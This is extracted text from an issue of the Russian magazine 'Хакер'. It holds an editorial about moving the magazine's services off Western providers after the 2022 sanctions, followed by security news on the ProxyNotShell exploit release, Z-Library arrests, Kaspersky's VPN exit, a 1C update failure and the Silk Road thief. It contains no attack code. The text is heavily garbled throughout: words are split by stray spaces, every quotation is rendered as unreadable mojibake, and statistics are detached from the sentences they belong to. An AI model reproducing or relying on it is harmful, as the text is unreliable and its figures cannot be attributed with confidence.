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В фев рале 2022 года в нашей жиз ни мно -
гое изме нилось. Может показать ся, что
«Хакер» это никак не зат ронуло, но толь ко
если судить со сто роны. Внут ри же мы
весь год парал лель но с обыч ной работой
спа сали из горящей избы один кусок
инфраструк туры за дру гим.

Речь, конеч но же, о сан кци ях. Известие о том, что рос сий ские бан ки вот-вот
отклю чат от сис темы меж дународ ных пла тежей, было шоком. В тот момент мы
исполь зовали мас су зарубеж ных сер висов — и для лич ных, и для рабочих нужд.
Наше началь ство быс тро наш ло обходные пути для опла ты самого нуж ного,
но прик лючения в этот момент толь ко начина лись.

Сле дом обслу живать рос сий ские ком пании отка зал ся Google. У нас там
работа ла кор поратив ная поч та, лежали архи вы, а в гуг лов ском Kubernetes кру -
тились сер веры с нашим внут ренним пла ниров щиком и некото рыми супер -
мегасек ретны ми про екта ми.

В Google на спа сение и перенос все го доб ра дали нес коль ко месяцев,
но уже через пару недель мы перевез ли поч ту на Mail.ru, все вспо мога тель ные
сер висы — на Mail.Ru Cloud Solutions, а содер жимое Google Drive — на VK for
WorkSpace. Выш ло даже дешев ле, и никаких проб лем пока не воз никало.

Сле дующие два уда ра нам нанес ли Amazon и Mailchimp — по все тем же
при чинам. Mailchimp мы быс тро замени ли рос сий ским . По дороге
потеря лась толь ко фор ма розыг рыша под писок в обмен на email, которую вре -
мя от вре мени видели неав торизо ван ные поль зовате ли. Но от нее все уже так
уста ли, что это ско рее плюс, чем минус.

Unisender

Что до Amazon, то здесь все гораз до веселее. Ког да-то мы исполь зовали
AWS для вспо мога тель ной инфраструк туры, и с тех пор там остался один важ -
ный ком понент — мно готе рабай тное холод ное хра нили ще в Glacier, куда ски -
дыва лись бэкапы еще со вре мен бумаж ного «Хакера».

Ра бота с архи вами — это, пожалуй, самое эпи чес кое из всех прик лючений.
Нуж но было ска чать каж дый файл и заг лянуть внутрь, пос коль ку никаких опи сей
у нас не сох ранилось. Я для это го исполь зовал маков скую прог рамму 
на рабочем компь юте ре, но для самых боль ших фай лов такой спо соб не годил -
ся: каж дый архив готовит ся по четыре-пять часов, а вре мени на выкачи вание
дают ров но сут ки. Если ско рос ти соеди нения не хва тало, при ходи лось начинать
про цесс заново.

Freeze

Здесь нас неожи дан но выручил , который мы делали с хос тером
Fenix.host. Заод но с тес тирова нием (или, мож но ска зать, в его рам ках) мы раз -
верну ли там целую экспе дицию по спа сению самых круп ных фай лов. Сна чала
(с неверо ятны ми мучени ями) кача ем вруч ную через amazon-cli, а затем я уда -
лен но через ста рый доб рый Midnight Commander откры ваю архи вы, дос таю
из них нуж ные фай лы и сор тирую. При помощи rclone отправ ляем резуль таты
в Mail.ru.

спец про ект

Са мое нелепое в этой исто рии то, что кон крет но для «Хакера» мы в этих
архи вах ничего нового не наш ли: все тек сты, кар тинки и фай лы QuarkXPress
и InDesign уже лежали в том самом «горячем» хра нили ще, которое мы перено -
сили из Google Drive в Mail.ru.

За то мы обна ружи ли и спас ли ана логич ные архи вы жур налов «Хакер Спец»,
«IT Спец» и «Железо». Забав но, что самыми боль шими фай лами ока зались три
(три!) пол ные копии жес тко го дис ка рабочей машины быв шего дизай нера
«Хакера». При чем выяс нилось, что дизай нер однажды уже получал этот бэкап
на руки, так что с запас ными копи ями мы бла гопо луч но рас про щались.

По дороге наш ли мно го занима тель ных вещей. Нап ример, никог да не пуб -
ликовав шиеся ран ние кон цепты обло жек «Хулига на».

И дру гие занима тель ные вещи.

И наконец, финаль ным аккордом стал пере езд сай та с аме рикан ско го
DreamHost в обла ко Яндекса. DreamHost не отклю чал нам опла ту, одна ко сам
выбор сер вера изна чаль но был неудач ным. Он вре мена ми прос то не выдер -
живал наг рузки.

В эти выход ные ста рани ями быв шего глав реда «Хакера» Ильи Русане на,
ныне отве чающе го за нашу инфраструк туру, мы пере еха ли в Yandex Cloud.
База дан ных и Redis теперь под клю чены как отдель ные сер висы, а WordPress
уста нов лен на машину, в которой он не упи рает ся в лимиты ресур сов.

Ре зуль тат ты, ско рее все го, можешь оце нить сам. Ско рость заг рузки сай та
для неав торизо ван ных поль зовате лей воз росла в разы, да и с авто риза цией
стра ницы гру зят ся замет но быс трее.

Впе реди еще мно го вся ких апгрей дов и раз работок, но пока что мы раду -
емся прос тым вещам: шус тро работа ющей админке и тому, что мы пережи ли
все неуря дицы и вос поль зовались ими, что бы стать луч ше. А если вдруг
заметишь, что где-то что-то отва лилось, обя затель но пиши на ,
пос тара емся опе ратив но прик рутить обратно.

support@glc.ru

По ка же хочу ска зать спа сибо всем, кто, не жалея сво его сна, помогал
с пере ездом или прос то под держи вал советом и доб рым сло вом! И конеч но,
нашим под писчи кам, которые оста ются с нами, нес мотря на слож ные вре мена.
Не устаю пов торять: без вашего вкла да в общее дело «Хакера» дав но бы уже
не было.

mailto:apismenny@gmail.com
https://www.unisender.com/
https://apps.apple.com/ru/app/freeze-for-amazon-glacier/id1046095491?mt=12
https://xakep.ru/2022/08/10/fenix-host/
http://mailto:support@glc.ru/
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В этом месяце: в сети появил ся экс пло ит для ProxyNotShell,
аме рикан ские пра воох раните ли борют ся с теневой биб -
лиоте кой Z-Library, а ее опе рато ры арес тованы, Пал мер
Лаки показал VR-гар нитуру, которая может убить поль -
зовате ля, экспер ты обра тили вни мание на зло упот ребле -
ния IPFS, инже неры Google борют ся с нелегаль ным исполь -
зовани ем Cobalt Strike и дру гие инте рес ные события про -
шед шего нояб ря.

ОПУБЛИКОВАН
ЭКСПЛОИТ ДЛЯ
PROXYNOTSHELL
В откры том дос тупе появил ся экс пло ит для двух нашумев ших уяз вимос тей
в Microsoft Exchange, которые носят общее наз вание ProxyNotShell. Уяз вимос ти
исполь зовались хакера ми и до это го, но теперь атак может стать боль ше.

Проб лемы ProxyNotShell (CVE-2022-41040 и CVE-2022-41082) 
в сен тябре ана лити ки из вьет нам ской ком пании GTSC. Напом ню, что баги зат -
рагива ли Microsoft Exchange Server 2013, 2016 и 2019 и поз воляли зло умыш -
ленни кам повысить при виле гии для запус ка PowerShell в кон тек сте сис темы,
а так же добить ся уда лен ного выпол нения кода на ском про мети рован ном сер -
вере.

об наружи ли

Как вско ре под твер дили в Microsoft, эти проб лемы были взя ты на воору -
жение хакера ми. Спе циалис ты писали, кто как минимум одна груп пиров ка
исполь зовала баги про тив при мер но десяти ком паний по все му миру.

Ин терес к ProxyNotShell ока зал ся так велик, что экспер ты дер жали прак -
тичес ки все тех ничес кие детали уяз вимос тей в тай не (что бы еще боль ше зло -
умыш ленни ков не занялось их экс плу ата цией). Этим даже не пре мину ли вос -
поль зовать ся мошен ники, которые начали про давать в сети 

 для ProxyNotShell.
фей ковые экс пло -

иты
Те перь, ког да уяз вимос ти наконец испра вили (с релизом 

), ИБ-иссле дова тель, извес тный под ником Janggggg, опуб ликовал
в откры том дос тупе , который зло умыш ленни ки исполь зовали
для атак на сер веры Exchange.

но ябрь ских
обновле ний

PoC-экс пло ит

Под линность и работос пособ ность это го экс пло ита уже под твер дил извес тный
ИБ-спе циалист и ана литик ком пании ANALYGENCE Уилл Дор манн. Он сооб -
щил, что экс пло ит работа ет про тив сис тем под управле нием Exchange Server
2016 и 2019, но перед ата ками на Exchange Server 2013 код нуж дает ся
в некото рой доработ ке.

Сог ласно ста тис тике иссле дова телей из ком пании Greynoise, которые отсле -
жива ют исполь зование ProxyNotShell с кон ца сен тября, уяз вимос ти по-преж -
нему под верга ются ата кам, а пос ле пуб ликации экс пло ита их может стать
боль ше.

У РОССИЯН УКРАЛИ  РУБЛЕЙ4 000 000 000

Спе циалис ты Бан ка Рос сии сооб щили, что в треть ем квар тале 2022 года мошен никам уда лось
украсть со сче тов рос сиян рекор дную сум му — око ло . При этом бан ки
сумели вер нуть минималь ную долю похищен ных средств — все го . «Сей час бан ки
по закону не обя заны воз вра щать день ги в таких слу чаях», — объ ясня ют в ЦБ.

4 мил лиар дов руб лей
3,4%

В целом объ ем похищен ных средств вырос на  на фоне сок ращения чис ла мошен ничес ких
опе раций на  — с  до . В то же вре мя общий раз мер ущер ба, нанесен -
ного зло умыш ленни ками в этом квар тале, вырос сра зу на .

30%
10,3% 256 000 229 700

23,9%

KASPERSKY SECURE
CONNECTION
ПРЕКРАТИТ РАБОТУ
В РОССИИ
«Лабора тория Кас пер ско го» сооб щила, что начина ет поэтап ное отклю чение
сво его VPN-при ложе ния Kaspersky Secure Connection на рос сий ском рын ке.
Бес плат ная вер сия была дос тупна до 15 нояб ря 2022 года, а плат ная про дает -
ся до кон ца декаб ря 2022 года.

«

»

«VPN-ïðè ëîæå íèå Kaspersky Secure Connection áîëü øå íå áóäåò äîñ -

òóïíî íà ðîñ ñèé ñêîì ðûí êå. Îòêëþ ÷åíèå ïðî äóê òà â Ðîñ ñèè áóäåò ïðî -

èñõî äèòü ïîýòàï íî, ÷òî áû ñâåñ òè íåóäîáñ òâà äëÿ òåêóùèõ ïîëü çîâàòå -

ëåé ê ìèíèìó ìó», — ïèøóò ïðåä ñòà âèòå ëè êîì ïàíèè.

Уже куп ленные при ложе ния про дол жат работать до окон чания сро ка дей ствия
лицен зии или текущей под писки (в ком пании говорят, что для боль шинс тва
поль зовате лей это один год). А ког да срок дей ствия лицен зии или бес плат ной
вер сии исте чет, вос поль зовать ся про дук том в Рос сии уже не получит ся.

Уточ няет ся, что так же обсто ят дела и с Kaspersky Secure Connection, вхо -
дящим в сос тав раз личных ком плексных решений для домаш них поль зовате -
лей:

«

»

«Íàï ðèìåð, åñëè ó âàñ óñòà íîâ ëåí Kaspersky Total Security è âû îïëà -

òèëè ïîä ïèñêó íà Kaspersky Secure Connection, òî VPN-ïðè ëîæå íèå

áóäåò ðàáîòàòü äî èñòå ÷åíèÿ ñðî êà ïîä ïèñêè íà íåãî. Ïðè îòñóòñ òâèè

ïëàò íîé ïîä ïèñêè èëè ëèöåí çèè íà Kaspersky Secure Connection ïðè -

ëîæå íèå ïåðåñ òàíåò ðàáîòàòü 15 íîÿá ðÿ».

Под черки вает ся, что изме нения в работе Kaspersky Secure Connection не зат -
ронут никакие стра ны, кро ме Рос сии. Рус ско языч ная вер сия при ложе ния
по-преж нему будет дос тупна на сай тах «Лабора тории Кас пер ско го» и в
магази нах мобиль ных при ложе ний. Для поль зовате лей за пре дела ми Рос сии
набор дос тупных фун кций и VPN-сер веров не изме нит ся.

В пресс-служ бе ком пании отка зались ком менти ровать при чины отклю чения
VPN-при ложе ния на тер ритории РФ.

Так же сто ит отме тить, что прак тичес ки одновре мен но с этим Мин цифры
пот ребова ло от ряда гос компа ний, гос корпо раций и круп ных бан ков отчи тать ся
об исполь зовании VPN-сер висов. В докумен те, разос ланном в госс трук туры
и бан ки, пред ста вите ли Мин цифры про сят «в воз можно корот кие сро ки» уточ -
нить, какие VPN-сер висы они исполь зуют или пла ниру ют исполь зовать, а так же
в каких целях они это дела ют и в каких локаци ях.

По информа ции прес сы, в спис ке рас сылки Мин цифры чис лятся «Рос -
космос», «Рос тех», «Газ пром», «Рос телеком», Сбер банк, ВТБ, Пром связь банк,
Газ пром банк, «Откры тие», «Аль фа-банк», Рос сель хоз банк, Рай ффай зен Банк,
Рос банк и Сов комбанк.

ЕЖЕГОДНЫЙ ОТЧЕТ GITHUB
Раз работ чики GitHub опуб ликова ли еже год ный ста тис тичес кий отчет Octoverse (выпус кает ся
уже десять лет), в котором они осве щают раз личные аспекты соб ранной за год внут ренней
ста тис тики сер виса. В 2022 году глав ные циф ры получи лись такими.

Ауди тория GitHub дос тигла  человек, уве личив шись на  поль зовате -
лей. Самый боль шой при рост наб люда ется сре ди поль зовате лей из .

94 000 000 20 500 000
Ин дии

Рас пре деле ние поль зовате лей по стра нам

За год раз работ чики соз дали  новых репози тори ев (при рост сос тавил 20%)
и отпра вили  pull-зап росов. Теперь общее количес тво репози тори ев пре выша ет

.

87  500  000
227 000 000

340 000 000

Са мым популяр ным язы ком прог рамми рова ния на GitHub по-преж нему оста ется .
Вто рое мес то занима ет , третье мес то — . То есть лидеры не меня ются уже нес -
коль ко лет.

JavaScript
Python Java

В этом году  обог нал по популяр ности  и теперь занима ет шес тое мес то в топе.С++ PHP

Z-LIBRARY ЗАКРЫТА,
ОПЕРАТОРЫ
АРЕСТОВАНЫ
Аме рикан ские пра воох раните ли начали борь бу с теневой биб лиоте кой Z-
Library, одним из круп ней ших хра нилищ пират ских книг, науч ных ста тей и ака -
деми чес ких тек стов в интерне те. Минис терс тво юсти ции США и ФБР кон -
фиско вали более 130 при над лежав ших ей доменов. Хотя влас ти отка зались
ком менти ровать про исхо дящее, «заг лушка», появив шаяся на зак рытых сай тах
Z-Library, намека ет на то, что биб лиоте ка ста ла частью неко его уго лов ного рас -
сле дова ния.

При этом не все извес тные домены Z-Library ока зались отклю чены: биб лиоте ка
про дол жила работать в зоне .onion и дос тупна через Tor. Так же домены
singlelogin.me и booksc.me по-преж нему оста ются онлайн. Инте рес но, что эти
домены зарегис три рова ны через фин скую ком панию Sarek Oy, которая свя зана
с соуч редите лем The Pirate Bay Питером Сун де. Хотя B-ok.cc, который так же
зарегис три рован через Sarek Oy, был кон фиско ван. Жур налис ты изда ния
Torrent Freak полага ют, что к это му при ложил руку реестр доменов .CC.

ЧТО ТАКОЕ Z-LIBRARY
Z-Library счи тает ся одной из круп ней ших теневых биб лиотек науч ной, тех ничес кой и науч -
но-популяр ной литера туры в мире. Про ект ста вил перед собой задачу сде лать науч ную
литера туру дос тупной для каж дого. По сос тоянию на 1 октября 2022 года в Z-Library нас -
читыва лось более  книг и  ста тей.11 291 325 84 837 643

Соз датели про екта утвер жда ли, что его сер веры рас положе ны в США, Панаме, Рос сии, Гер -
мании, Фин ляндии, Малай зии и Люк сембур ге, а общий раз мер дан ных пре выша ет .220 Тбайт

Ра бота биб лиоте ки финан сирова лась за счет пожер тво ваний, которые собира ли дваж ды в год
(в сен тябре и мар те). На про тяже нии мно гих лет Z-Library исполь зовала раз ные URL-адре са
и пря мые IP-адре са, пос коль ку десят ки домен ных имен биб лиоте ки кон фиско выва лись влас -
тями раз личных стран.

Z-Library начина лась как волон тер ский про ект без ком мерчес кой сос тавля ющей, но в какой-то
момент ста ла пред лагать плат ное членс тво в обмен на пре миаль ные фун кции.

Как ста ло извес тно уже пос ле кон фиска ции доменов, аме рикан ские влас ти
предъ яви ли обви нения двум граж данам Рос сии, Анто ну Наполь ско му (33 года)
и Валерии Ерма ковой (27 лет), которых 3 нояб ря задер жали в Аргенти не
по зап росу пра воох ранитель ных орга нов США. Их счи тают адми нис тра тора ми
Z-Library, и в свя зи с этим им предъ явле ны обви нения в наруше нии автор ских
прав, мошен ничес тве с исполь зовани ем элек трон ных средств свя зи, а так же
в отмы вании денег.

Аме рикан ские влас ти сооб щили, что намере ны добивать ся экс тра диции
пары в США. По информа ции пра воох раните лей, «ответчи ки более десяти лет
управля ли сай том, основной целью которо го было пре дос тавле ние укра ден ной
интеллек туаль ной собс твен ности в наруше ние законов об автор ском пра ве».

Кро ме того, сог ласно судеб ным докумен там, Наполь ский исполь зовал рек -
ламную плат форму Google Ads для прод вижения Z-Library, то есть активно
пытал ся прив лечь боль ше ауди тории.

«

»

«Óòâåð æäà åòñÿ, ÷òî îòâåò÷è êè íåçàêîí íî íàæèâà ëèñü íà óêðà äåí íûõ

ðàáîòàõ, ÷àñ òî çàã ðóæàÿ ðàáîòû [â Z-Library] â òå÷åíèå íåñ êîëü êèõ ÷àñîâ

ïîñ ëå èõ ïóá ëèêàöèè. Â ïðî öåñ ñå èõ æåð òâà ìè ñòà íîâè ëèñü àâòî ðû,

èçäà òåëè è êíè ãîòîð ãîâöû», — êîì ìåíòè ðóåò ïðî êóðîð ÑØÀ Áðå îí Ïèñ

(Breon Peace).

В свою оче редь, помощ ник исполни тель ного дирек тора ФБР Май кл Дрис колл
(Michael Driscoll) под чер кнул, что Z-Library работа ет уже боль ше десяти лет
и сайт пов лиял на доходы авто ров и изда телей мил лионов книг по все му миру.

Не извес тно, были ли Наполь ский и Ерма кова свя заны с Z-Library с самого
начала. В обви нитель ном зак лючении им при писы вают про тивоп равные дей -
ствия, начав шиеся в янва ре 2018 года.

Пред ста вите ли рос сий ско го посоль ства в Аргенти не сооб щили, что
аргентин ский суд пока не получил зап рос на выдачу рос сиян, задер жанных
по зап росу США. В посоль стве Рос сии отме тили, что находят ся на свя зи
с адво ката ми, друзь ями и родс твен никами задер жанных.

«

»

«Ðàñ ñ÷è òûâà åì íà òðàí ñïà ðåí òíîå è ñïðà âåä ëèâîå ðàñ ñìîò ðåíèå

àðãåíòèí ñêèì ñóäîì àìå ðèêàí ñêî ãî ôîð ìàëü íîãî çàï ðîñà î âûäà÷å,

êîòîðûé, ïî íàøèì ñâå äåíè ÿì, íà äàí íûé ìîìåíò åùå íå ïîñ òóïèë, —

ãîâîðÿò â äèï ìèññèè. — Èñõî äèì èç òîãî, ÷òî äåé ñòâó þùåå çàêîíî -

äàòåëü ñòâî Àðãåíòè íû íå äîïóñ êàåò àâòî ìàòè ÷åñ êîãî èñïîëíå íèÿ

ýêñòåð ðèòîðè àëü íûõ ðåøåíèé è çàï ðîñîâ òðåòü èõ ãîñóäàðñòâ».

Гла ва аме рикан ской Гиль дии авто ров Мэри Расен бергер (Mary Rasenberger)
опуб ликова ла сле дующее заяв ление, ком менти руя задер жание рос сиян:

«

»

«Àðåñò è îáâè íåíèå îïå ðàòî ðîâ Z-Library — ýòî îäèí èç êðóï íåé øèõ

ïðî ðûâîâ â áîðü áå ñ ïèðàòñ òâîì ýëåê òðîí íûõ êíèã íà ñåãîä íÿøíèé

äåíü. Ìû â îãðîìíîì äîë ãó ïåðåä ïðî êóðà òóðîé Âîñ òî÷íî ãî îêðó ãà

Íüþ‑Éîð êà è ÔÁÐ çà èõ òÿæåëóþ ðàáîòó íå òîëü êî ïî çàê ðûòèþ ñàé òà,

íî è ïî ïîèñ êó è çàäåð æàíèþ ïðåñ òóïíè êîâ».

GEOHOT СТАЛ СТАЖЕРОМ В TWITTER

Из вес тный хакер Джордж «GeoHot» Хотц, зна мени тый тем, что в 17 лет сумел устро ить джей -
лбрейк iPhone, а затем взло мал Sony PlayStation 3, сог ласил ся стать ста жером в Twitter Ило на
Мас ка на 12 недель. В ком пании, где пос ле сок ращения шта та оста лось лишь око ло 2500 сот -
рудни ков (про тив 7500 человек изна чаль но), Хотц пообе щал улуч шить работу поис ка.

→ «Я не пытал ся получить „бес плат ную работу“, прос то это кажет ся мне забав -
ным. Я в Twitter для того, что бы учить ся и совер шенс тво вать ся! Хар дкор ный
инжи ниринг — это не написать десять тысяч строк кода пос ле четырех ста канов
Red Bull, а най ти, как заменить эти десять тысяч строк десятью»,

— пишет Хотц у себя в Twitter.

ПРОБЛЕМНОЕ
ОБНОВЛЕНИЕ
«1С:ПРЕДПРИЯТИЕ 8»
14 нояб ря 2022 года раз работ чики «1С:Пред при ятие 8» приз вали кли ентов
сроч но обно вить ряд вер сий плат формы, пос коль ку обна ружи ли «кри тичес кую
проб лему, которая будет при водить к зак рытию кли ент ско го при ложе ния через
нес коль ко минут пос ле начала работы в прог рамме».

Офи циаль ное сооб щение раз работ чиков гла сило:

«

»

«Ïðîá ëåìà ïðî ÿâëÿ åòñÿ â òîí êîì êëè åíòå ïîä Windows è òîë ñòîì êëè -

åíòå ïîä Windows. Ïðîá ëåìà íå ïðî ÿâëÿ åòñÿ â òîí êîì è òîë ñòîì êëè -

åíòàõ ïîä Linux è macOS, íå ïðî ÿâëÿ åòñÿ â web-êëè åíòå íà âñåõ ÎÑ.

Íà ñåð âåðå 1Ñ:Ïðåä ïðè ÿòèå ïðîá ëåìà òàê æå íå ïðî ÿâëÿ åòñÿ. Âåðî -

ÿòíîñòü ïðî ÿâëå íèÿ äàí íîé ïðîá ëåìû ñóùåñ òâåí íî ïîâûøà åòñÿ

ñ 15 íîÿá ðÿ 2022, ïðåä ïîëàãà åòñÿ, ÷òî áîëü øèíñ òâî ïîëü çîâàòå ëåé

äàí íûõ ïðîá ëåìíûõ âåð ñèé íå ñìî ãóò ðàáîòàòü ñ 15 íîÿá ðÿ 2022.

Â ñâÿ çè ñ ýòèì ïîëü çîâàòå ëÿì ðåêîìåí äóåò ñÿ ïðî âåðèòü èñïîëü çóåìóþ

âåð ñèþ è ïðè íåîá õîäèìîñ òè îáíî âèòü ïëàò ôîðìó „1Ñ:Ïðåä ïðè ÿòèÿ“».

В таб лице при веде ны вер сии, которые сле дует обно вить. Под черки вает ся, что,
если исполь зуемая вер сия ПО не вхо дит в спи сок проб лемных, ее обновлять
не нуж но, так как она дол жна про дол жить работать.

Как  и « », 15 нояб ря 2022 года «1С:Пред при -
ятие 8» дей стви тель но перес тало работать без обновле ний, при этом сооб щая
об ошиб ках «Вы ста ли жер твой под делки прог рам мно го обес печения»
или «Сеанс отсутс тву ет или уда лен».

пи сали поль зовате ли Хабр

Ин терес но, что на проб лемы пожало вались и поль зовате ли тех вер сий плат -
формы, которые не тре бова лось сроч но обновлять, а так же легитим ные поль -
зовате ли, точ но не свя зан ные с пират ским ПО. Кро ме того, «Хабр» писал, что
проб лемы воз ника ют даже в веб-вер сии и обла ке 1Сбит.

Продолжение статьи →

mailto:nefedova@glc.ru
https://xakep.ru/2022/09/30/exchange-0days/
https://xakep.ru/2022/10/04/proxynotshell-fake/
https://xakep.ru/2022/11/09/proxynotshell-patches/
https://twitter.com/testanull/status/1593069258543894528
https://forum.mista.ru/topic.php?id=883508&page=1
https://habr.com/ru/news/t/699540/


 Начало статьи←

Пред ста вите ли «1С» пояс нили: «Если вы видите такое сооб щение, с высокой
веро ятностью вы ока зались жер твой под делки прог рам мно го обес печения».
Одна ко раз работ чики приз нали и что «сооб щение о неп равомер ном исполь -
зовании прог рам мно го про дук та» может оши боч но воз никать при исполь -
зовании сер вера x86 и кли ента x86.

В таком слу чае они про сили обра тить ся по адре су v8@1c.ru и опи сать ситу -
ацию, что бы получить вре мен ные лицен зии на x64.

По дан ным «Хаб ра», а так же сог ласно теориям самих поль зовате лей, экс -
трен ное обновле ние лицен зион ных про дук тов «1С» пот ребова лось из-за того,
что в коде содер жалась «часовая бом ба» для борь бы с пирата ми, при вязан ная
к опре делен ной дате. При этом на пират ских форумах вооб ще счи тают, что
никакой кри тичес кой проб лемы не было, прос то в новую вер сию «1С:Пред при -
ятие 8» внед рен новый механизм обна руже ния эму лято ров, а так же зак рыт
обход клю чей через techsys.dll.

Поз же раз работ чики изви нились за про изо шед шее и проб лемы, воз никшие
из-за сроч ного обновле ния:

«

»

«Ê ñîæàëå íèþ, ïðè ýêñ òðåí íîì âûïóñ êå îáíîâëå íèé, èñïðàâ ëÿþùèõ

ïðîá ëåìó çàïóñ êà ïðîã ðàìì ñèñ òåìû „1Ñ:Ïðåä ïðè ÿòèå“, èç‑çà ñðî÷ -

íîñòè âûïóñ êà â íåêîòî ðûå âåð ñèè ïëàò ôîðìû áûëè ïðèâ íåñåíû îøèá -

êè. Ïðè íîñèì íàøè èçâè íåíèÿ çà ýòó ñèòó àöèþ! Âûðàæà åì áëà ãîäàð -

íîñòü ïàð òíå ðàì, êîòîðûå ñåé ÷àñ ïîìîãà þò ïîëü çîâàòå ëÿì. Ìû ïðî àíà -

ëèçè ðóåì ýòîò îïûò è áóäåì ñîâåð øåíñ òâî âàòü ñâîè âíóò ðåííèå ïðî -

öåñ ñû, ÷òî áû íå äîïóñ êàòü ïîâ òîðåíèÿ ñèòó àöèè».

 ПОЛУЧИЛИ ВЫМОГАТЕЛИ
ОТ КОМПАНИЙ
1,2 ÌÈËËÈÀÐÄÀ

По дан ным Минис терс тва финан сов США, в прош лом году финан совые учрежде ния стра ны
зафик сирова ли пла тежи в раз мере , нап равлен ные в адрес вымога -
телей (чаще все го рус ско языч ных хак-групп). Это  пре выша ет резуль таты 2020 года.

1,2 мил лиар да дол ларов
вдвое

Сум марно финан совые учрежде ния зарегис три рова ли  инци ден тов, свя зан ных с прог -
рамма ми-вымога теля ми, по срав нению с  слу чаями годом ранее. По информа ции экспер -
тов, пять самых «при быль ных» вымога телей свя заны с рус ско языч ными хакера ми: ущерб от их
активнос ти пре высил  дол ларов.

1489
487

219 мил лионов

НАЙДЕН ХАКЕР,
ОГРАБИВШИЙ SILK
ROAD
Ми нис терс тво юсти ции США объ яви ло об осуж дении 32-лет него Джей мса
Чжу на (James Zhong), хакера, который десять лет назад похитил 50 тысяч бит -
коинов у извес тней шего дар кнет-мар кет плей са Silk Road.

Пра воох раните ли изъ яли 3,36 мил лиар да дол ларов в бит коинах, которые
были укра дены у Silk Road, но по текуще му кур су эта крип товалю та сто ит око ло
мил лиар да дол ларов.

На пом ню, что Silk Road был зак рыт влас тями еще в 2013 году. До это го
момен та тор говая пло щад ка пред лагала сво им поль зовате лям самые раз ные
незакон ные товары и услу ги, начиная от нар котиков и мал вари и закан чивая
заказ ными убий ства ми. Гла ва Silk Road, Росс Уль брихт, был арес тован
и в 2015 году  к двой ному пожиз ненно му зак лючению, которое
сей час отбы вает в США.

при гово рен

Как теперь пишут влас ти, Чжун приз нал себя винов ным в отмы вании денег
и мошен ничес тве с исполь зовани ем элек трон ных средств свя зи. Дело в том,
что в сен тябре 2012 года он соз дал девять учет ных записей на Silk Road,
на которые вно сил депози ты в раз мере от 200 до 2000 бит коинов. Затем Чжун
ини цииро вал более 140 быс трых тран закций, что бы обма нуть сис тему обра -
бот ки вывода средств на Silk Road и перевес ти на свои сче та око ло 50 тысяч
бит коинов.

«

»

«Íàï ðèìåð, 19 ñåí òÿáðÿ 2012 ãîäà ×æóí ïîëîæèë 500 áèò êîèíîâ

íà êîøåëåê Silk Road, — ðàñ ñêà çûâà þò ñëå äîâà òåëè. — Ìåíåå ÷åì ÷åðåç

ïÿòü ñåêóíä ïîñ ëå âíå ñåíèÿ ïåð âîíà÷àëü íîãî äåïîçè òà îí îñó ùåñ òâèë

ïÿòü âûâîäîâ ïî 500 áèò êîèíîâ ïîä ðÿä (â òå÷åíèå îäíîé ñåêóí äû),

â ðåçóëü òàòå ÷åãî ÷èñ òàÿ ïðè áûëü ñîñ òàâèëà 2000 áèò êîèíîâ».

Та кой обман сис темы при нес Чжу ну «при мер но 51 680,32473733 бит коина»,
и на момент кон фиска ции в прош лом году эта крип товалю та оце нива лась при -
мер но в 3,6 мил лиар да дол ларов (как уже было ска зано выше, теперь ее сто -
имость замет но сни зилась). Инте рес но, что по кур су десяти лет ней дав ности
эта афе ра при нес ла Чжу ну лишь 650 тысяч дол ларов.

Пос ле ата ки Чжун перемес тил добытые средс тва в раз ные кошель ки, стре -
мясь скрыть сле ды. В 2017 году, пос ле про веде ния хард-фор ка и появ ления
Bitcoin Cash и Bitcoin SV, на руках у хакера ока залось око ло 50 тысяч Bitcoin
Cash, которые он кон верти ровал в 3500 бит коинов, в резуль тате чего общая
сум ма дос тигла 53 500 бит коинов.

При этом пра воох раните ли под черки вают, что Чжун никог да не покупал и не
про давал ничего на Silk Road, лишь похитил средс тва.

В ито ге в нояб ре прош лого года федераль ные аген ты про вели обыск
в доме тог да еще подоз рева емо го Чжу на и изъ яли более 50 тысяч бит коинов,
которые хра нились в сей фе под полом, а так же на «одноплат ном компь юте ре»,
который был «спря тан в оде ялах, в бан ке из-под поп корна, хра нив шей ся
в шка фу в ван ной».

Во вре мя того же обыс ка аген ты обна ружи ли 661 900 дол ларов налич ными,
25 монет Casascius (физичес кий бит коин), приб лизитель ной сто -
имостью 174 бит коина, еще 11,1160005300044 бит коина, а так же четыре
сереб ряных слит ка по 1 унции, три золотых слит ка по 1 унции, четыре сереб -
ряных слит ка по 10 унций и одну золотую монету.

Та кие мас шта бы дела ют эту кон фиска цию вто рой по величи не в исто рии.
Боль ше пра воох раните ли изъ яли толь ко у суп ружес кой пары из Нью-Йор ка,
которую обви няют в отмы вании средств, в 2016 году похищен ных у крип -
товалют ной бир жи Bitnex. Напом ню, что в том слу чае речь идет о 

.
3,6 мил -

лиар да дол ларов
По мимо перечис ленно го, Чжун лишил ся все го иму щес тва, в том чис ле вло -

жений в нед вижимость и «допол нитель ных циф ровых акти вов», нап рямую
не свя зан ных с уго лов ным про изводс твом. Так же в Минюс те сооб щили, что
в мар те 2022 года хакер доб роволь но сдал влас тям 825,4 бит коина, а в
мае 2022 года — еще 35,5 бит коина.

При говор Чжу ну будет вынесен 22 фев раля 2023 года. По текущим обви -
нени ям ему гро зит до 20 лет лишения сво боды.

ЗАЩИЩЕННОСТЬ РОССИЙСКИХ ОРГАНИЗАЦИЙ
Спе циалис ты Positive Technologies изу чили сос тояние защищен ности рос сий ских ком паний.
Выяс нилось, что уро вень защищен ности от внеш него и внут ренне го наруши теля в ком пани ях
пре иму щес твен но низ кий. В орга низа циях было обна руже но мно жес тво под твержден ных век -
торов атак, нап равлен ных на дос туп к кри тичес ки важ ным ресур сам, при этом для реали зации
ата ки потен циаль ному хакеру не нуж но обла дать высокой ква лифи каци ей.

В  орга низа ций зло умыш ленник мог бы пре одо леть сетевой периметр и про ник нуть
во внут реннюю сеть.

96%

В  ком паний сущес тво вал век тор про ник новения, сос тояв ший не более чем из 
, а в сред нем для это го тре бова лось .

57% двух
шагов че тыре шага

Ос новны ми точ ками вхо да ста ли уяз вимос ти и недос татки кон фигура ции .
Такие век торы атак были обна руже ны во всех ком пани ях без исклю чения.

веб‑при ложе ний

Ус пешные ата ки при про веде нии внеш них пен тестов

Са мая быс трая ата ка была про веде на пен тесте рами все го за .1 час

В сред нем для про ник новения во внут реннюю сеть ком пании зло умыш ленни ку мог ло бы пот -
ребовать ся .5 дней и 4 часа

Уро вень защищен ности про тес тирован ных орга низа ций

При про веде нии внут ренне го пен теста в  была доказа на воз можность
получить пол ный кон троль над ресур сами домена. Получить дос туп к кон фиден циаль ной
информа ции ока залось воз можно в  ком паний.

100% орга низа ций

